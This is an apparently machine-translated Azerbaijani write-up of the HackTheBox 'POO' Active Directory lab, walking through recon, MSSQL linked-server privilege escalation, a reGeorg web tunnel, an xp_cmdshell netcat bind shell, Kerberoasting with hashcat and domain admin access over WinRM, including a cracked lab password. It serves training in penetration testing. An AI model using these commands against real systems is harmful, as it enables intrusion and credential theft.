HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bu yazıda biz sadəcə bir maşının deyil, bütöv bir mini-laboratoriyanın saytdan keçidini təhlil edəcəyik HackTheBox.

Təsvirdə deyildiyi kimi, POO kiçik bir Active Directory mühitində hücumların bütün mərhələlərində bacarıqları sınamaq üçün nəzərdə tutulmuşdur. Məqsəd mövcud hostu güzəştə getmək, imtiyazları artırmaq və nəticədə prosesdə 5 bayraq toplayaraq bütün domeni güzəştə getməkdir.

Laboratoriyaya qoşulma VPN vasitəsilə həyata keçirilir. İnformasiya təhlükəsizliyi haqqında nəsə bilən insanlarla şəxsi şəbəkəyə girdiyiniz üçün işləyən kompüterdən və ya sizin üçün vacib məlumatların olduğu hostdan qoşulmamağınız tövsiyə olunur 🙂

təşkilati məlumat
Yeni məqalələr, proqram təminatı və digər məlumatlar haqqında məlumat əldə edə bilməniz üçün mən yaratdım Telegram kanalı и hər hansı bir məsələni müzakirə etmək üçün qrup IIKB ərazisində. Həmçinin şəxsi istək, sual, təklif və tövsiyələriniz Baxıb hamıya cavab verəcəm..

Bütün məlumatlar yalnız təhsil məqsədləri üçün verilir. Bu sənədin müəllifi bu sənədin öyrənilməsi nəticəsində əldə edilmiş bilik və metodlardan istifadə nəticəsində heç kimə dəymiş zərərə görə məsuliyyət daşımır.

Giriş

Bu son oyun iki maşından ibarətdir və 5 bayraqdan ibarətdir.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Mövcud hostun təsviri və ünvanı da verilir.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Naçnem!

Recon bayrağı

Bu maşının /etc/hosts-a əlavə etdiyim 10.13.38.11 IP ünvanı var.
10.13.38.11 poo.htb

İlk addım açıq portları skan etməkdir. Bütün portları nmap ilə skan etmək çox vaxt apardığı üçün bunu ilk olaraq masscan ilə edəcəm. Biz tun0 interfeysindən 500pps-də bütün TCP və UDP portlarını skan edirik.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi portlarda işləyən xidmətlər haqqında daha ətraflı məlumat əldə etmək üçün -A seçimi ilə skan edək.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, IIS və MSSQL xidmətlərimiz var. Bu halda, biz domenin və kompüterin əsl DNS adını öyrənəcəyik. Veb serverdə bizi IIS ana səhifəsi qarşılayır.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Gəlin kataloqlar üzərində təkrarlayaq. Bunun üçün gobuster istifadə edirəm. Parametrlərdə axınların sayını 128 (-t), URL (-u), lüğət (-w) və bizi maraqlandıran genişlənmələri (-x) müəyyənləşdiririk.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, bizdə /admin kataloqu üçün HTTP autentifikasiyası, həmçinin .DS_Store masa üstü xidmət yaddaşı faylı mövcuddur. .DS_Store faylların siyahısı, ikona yeri, seçilmiş fon şəkli kimi qovluq üçün istifadəçi parametrlərini saxlayan fayllardır. Belə bir fayl veb tərtibatçılarının veb server kataloquna düşə bilər. Beləliklə, kataloqun məzmunu haqqında məlumat alırıq. Bunun üçün istifadə edə bilərsiniz DS_Store tarayıcısı.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Kataloqun məzmununu alırıq. Burada ən maraqlısı, mənbələri və db fayllarını iki budaqda görə biləcəyimiz /dev kataloqudur. Lakin xidmət IIS ShortName-ə qarşı həssasdırsa, biz fayl və kataloq adlarının ilk 6 simvolundan istifadə edə bilərik. Bu zəifliyi istifadə edərək yoxlaya bilərsiniz IIS qısa adı Skaneri.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və biz "poo_co" ilə başlayan bir mətn faylı tapırıq. Bundan sonra nə edəcəyimi bilmədən, sadəcə olaraq kataloqlar lüğətindən “co” ilə başlayan bütün sözləri seçdim.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Və wfuzz ilə təkrarlayın.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və düzgün sözü tapın! Bu fayla baxırıq, etimadnamələri saxlayırıq (DBNAME parametrinə əsasən, onlar MSSQL-dəndir).

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bayrağı təhvil veririk, 20% irəliləyirik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Hey bayraq

MSSQL-ə qoşuluruq, mən DBeaver istifadə edirəm.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bu verilənlər bazasında maraqlı heç nə tapmırıq, gəlin SQL Redaktoru yaradaq və istifadəçilərin nə olduğunu yoxlayaq.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İki istifadəçimiz var. İmtiyazlarımızı yoxlayaq.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, heç bir imtiyaz yoxdur. Əlaqədar serverlərə baxaq, bu texnika haqqında ətraflı yazdım burada.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, başqa bir SQL Server tapırıq. Openquery() vasitəsilə bu serverdə əmrlərin icrasını yoxlayaq.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və hətta sorğu ağacı da qura bilərik.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Fakt budur ki, biz əlaqəli serverə sorğu göndərdiyimiz zaman sorğu başqa istifadəçinin kontekstində icra olunur! Əlaqələndirilmiş serverdə hansı istifadəçi kontekstində işlədiyimizi görək.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi gəlin görək bağlı serverdən bizimkinə olan sorğu hansı kontekstdə yerinə yetirilir!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, bütün imtiyazlara sahib olmalı olan DBO kontekstidir. Əlaqəli serverdən sorğu olduqda imtiyazları yoxlayaq.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Gördüyünüz kimi, bizdə bütün imtiyazlar var! Gəlin adminimizi belə yaradaq. Amma onlara openquery vasitəsilə imkan vermirlər, gəlin bunu EXECUTE AT vasitəsilə edək.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

İndi biz yeni istifadəçinin etimadnaməsi ilə əlaqə qururuq, yeni bayraq verilənlər bazasını müşahidə edirik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bu bayrağı təhvil verib daha da irəli gedirik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Geri çəkilmə bayrağı

MSSQL-dən istifadə edərək qabığı əldə edək, mən impacket paketindən mssqlclient istifadə edirəm.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Parolları əldə etməliyik və artıq tanış olduğumuz ilk şey saytdır. Beləliklə, bizə veb server konfiqurasiyası lazımdır (rahat bir qabıq atmaq mümkün deyil, görünür, firewall işləyir).

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Lakin giriş qadağandır. Faylı MSSQL-dən oxuya bilsək də, sadəcə olaraq hansı proqramlaşdırma dillərinin konfiqurasiya edildiyini bilməliyik. Və MSSQL kataloqunda Python olduğunu öyrənirik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Sonra web.config faylını oxumaq üçün heç bir problem yoxdur.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Tapılan etimadnamələri ilə /admin-ə keçin və bayrağı götürün.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

dayaq bayrağı

Əslində, bir firewall istifadə etməkdə bəzi narahatlıqlar var, lakin şəbəkə parametrlərinə nəzər saldıqda IPv6 protokolunun da istifadə edildiyini görürük!

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bu ünvanı /etc/hosts-a əlavə edin.
dead:babe::1001 poo6.htb
Gəlin hostu yenidən skan edək, lakin bu dəfə IPv6 üzərindən.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

WinRM xidməti isə IPv6 üzərindən mövcuddur. Tapılmış etimadnamələri ilə əlaqə saxlayaq.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İş masasında bayraq var, təhvil verin.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

P00-li bayraq

Ev sahibi ilə kəşfiyyatdan sonra şərab noxud xüsusi bir şey tapmırıq. Sonra yenidən etimadnamə axtarmağa qərar verildi (mən də bu mövzuda yazdım Məqalə). Ancaq WinRM vasitəsilə bütün SPN-ləri sistemdən ala bilmədim.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

MSSQL vasitəsilə əmri icra edək.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Bu yolla biz p00_hr və p00_adm istifadəçilərinin SPN-lərini əldə edirik, bu da onların Kerberoasting kimi hücumlara qarşı həssas olması deməkdir. Qısacası, biz onların parollarının heşlərini əldə edə bilərik.

Əvvəlcə MSSQL istifadəçisi adından stabil qabıq əldə etməlisiniz. Ancaq giriş imkanımız məhdud olduğundan, host ilə yalnız 80 və 1433 portları vasitəsilə əlaqəmiz var. Ancaq 80-ci liman vasitəsilə trafiki tunel etmək mümkündür! Bunun üçün istifadə edirik növbəti tətbiq. Tunel.aspx faylını veb serverin əsas kataloquna - C: inetpubwwwroot-a yükləyək.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Amma biz ona daxil olmaq istəyəndə 404 xətası alırıq.Bu o deməkdir ki, *.aspx faylları icra olunmur. Bu uzantıları olan faylları işə salmaq üçün ASP.NET 4.5-i aşağıdakı kimi quraşdırın.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi isə tunnel.aspx-ə daxil olanda hər şeyin getməyə hazır olduğu cavabını alırıq.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Trafiki ötürəcək tətbiqin müştəri hissəsinə başlayaq. Biz bütün trafiki 5432 portundan serverə yönləndirəcəyik.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və biz proksi vasitəsilə istənilən proqramın trafikini göndərmək üçün proxychainlərdən istifadə edirik. Gəlin bu proxy-ni /etc/proxychains.conf konfiqurasiya faylına əlavə edək.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi isə proqramı serverə yükləyək netcat, onunla sabit bağlama qabığı və skript edəcəyik Kerberoast-a müraciət edin, onunla Kerberoasting hücumunu həyata keçirəcəyik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi MSSQL vasitəsilə biz dinləyicini işə salırıq.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və biz proxy vasitəsilə əlaqə saxlayırıq.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Və hashləri əldə edək.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Sonra, bu hashləri təkrarlamalısınız. Sizin parol məlumat lüğətiniz olmadığından, mən Seclists-də təqdim olunan BÜTÜN parol lüğətlərindən istifadə etdim. Sadalamaq üçün hashcat istifadə edirik.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Və biz hər iki parolu tapırıq, birincisini dutch_passwordlist.txt lüğətində, ikincisini isə Keyboard-Combinations.txt-də tapırıq.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, üç istifadəçimiz var, domen nəzarətçisinə gedirik. Əvvəlcə onun ünvanını öyrənək.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Əla, biz domen nəzarətçisinin IP ünvanını öyrəndik. Gəlin domenin bütün istifadəçilərini, eləcə də onlardan hansının administrator olduğunu öyrənək. PowerView.ps1 məlumat almaq üçün skripti yükləmək. Sonra -s parametrində skriptlə qovluğu göstərərək evil-winrm istifadə edərək qoşulacağıq. Və yalnız PowerView skriptini yükləyin.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

İndi onun bütün funksiyalarına çıxışımız var. p00_adm istifadəçisi imtiyazlı istifadəçi kimi görünür, ona görə də biz onun kontekstində işləyəcəyik. Bu istifadəçi üçün PSCredential obyekti yaradaq.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

İndi Creds təyin etdiyimiz bütün Powershell əmrləri p00_adm adından yerinə yetiriləcək. İstifadəçilərin siyahısını və AdminCount atributunu göstərək.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Beləliklə, istifadəçimiz həqiqətən imtiyazlıdır. Onun hansı qruplara aid olduğunu görək.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Nəhayət, istifadəçinin domen administratoru olduğunu təsdiq edirik. Bu, ona domen nəzarətçisinə uzaqdan daxil olmaq hüququ verir. Tunelimizdən istifadə edərək WinRM ilə daxil olmağa çalışaq. Evil-winrm istifadə edərkən reGeorg tərəfindən verilən səhvlər məni çaşdırdı.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Sonra başqa, daha asan istifadə edirik, skript WinRM-ə qoşulmaq üçün. Bağlantı parametrlərini açın və dəyişdirin.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Biz qoşulmağa çalışırıq və biz sistemdəyik.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Amma bayraq yoxdur. Sonra istifadəçiyə baxın və masaüstünü yoxlayın.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

mr3ks-də biz bayrağı tapırıq və laboratoriya 100% tamamlanıb.

HackTheBoxendgame. Peşəkar Hücum Əməliyyatları laboratoriyasının keçidi. Pentest Active Directory

Hamısı budur. Rəy olaraq, bu məqalədən yeni bir şey öyrəndiyinizi və bunun sizin üçün faydalı olub olmadığını şərh edin.

Bizə qoşula bilərsiniz Teleqram. Orada maraqlı materiallar, birləşdirilmiş kurslar, həmçinin proqram təminatı tapa bilərsiniz. Gəlin elə bir cəmiyyət toplayaq ki, orada İT-nin bir çox sahələrini başa düşən insanlar olsun, onda biz hər zaman İT və informasiya təhlükəsizliyi məsələlərində bir-birimizə kömək edə bilərik.

Mənbə: www.habr.com

Добавить комментарий